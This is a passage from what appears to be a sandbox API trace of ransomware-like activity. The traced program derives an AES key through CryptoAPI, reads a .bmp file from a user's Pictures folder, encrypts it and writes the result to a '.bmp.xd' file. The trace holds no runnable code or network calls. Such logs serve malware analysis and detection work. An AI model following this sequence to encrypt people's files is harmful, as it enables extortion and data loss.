lpUsedDefaultChar=0x0) returned 15 [0060.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621630, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.985] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.985] CryptDeriveKey (in: hProv=0x17aa4d8, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c870) returned 1 [0060.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.985] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.985] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.985] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.985] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.986] CryptDestroyHash (hHash=0x164c430) returned 1 [0060.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.986] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\tpnaerv ydj8f.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.986] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.986] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.987] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq")) returned 0x10 [0060.987] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\tpnaerv ydj8f.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.988] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.988] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.988] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.988] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.990] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.991] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x1288, lpOverlapped=0x0) returned 1 [0060.992] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.994] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.994] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.994] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.994] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.994] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.994] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.994] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.995] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.995] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.995] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.995] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.995] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.995] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.995] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.995] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.995] CryptGetKeyParam (in: hKey=0x164c870, dwParam=0x7, pbData=0x1629430, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629430*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.995] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.995] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.996] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.996] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.996] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.996] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.997] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.997] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.997] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.997] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.997] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1288, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x1290) returned 1 [0060.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.998] CharLowerBuffW (in: lpsz="byte[4753]", cchLength=0xa | out: lpsz="byte[4753]") returned 0xa [0060.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.998] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.998] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.998] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.998] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17c0070*, pdwDataLen=0x130e618*=0x1288, dwBufLen=0x1290 | out: pbData=0x17c0070*, pdwDataLen=0x130e618*=0x1290) returned 1 [0060.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.999] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.999] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.999] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.000] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.000] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.000] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.000] WriteFile (in: hFile=0x3bc, lpBuffer=0x17ce080*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ce080*, lpNumberOfBytesWritten=0x130f01c*=0x1290, lpOverlapped=0x0) returned 1 [0061.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.001] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.001] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.001] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.001] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.001] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.002] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.002] CryptDestroyKey (hKey=0x164c870) returned 1 [0061.002] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.002] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.002] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.002] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.002] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.002] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.002] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.002] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.002] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.003] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.003] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.003] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.003] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.003] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.003] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.003] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.003] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.003] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 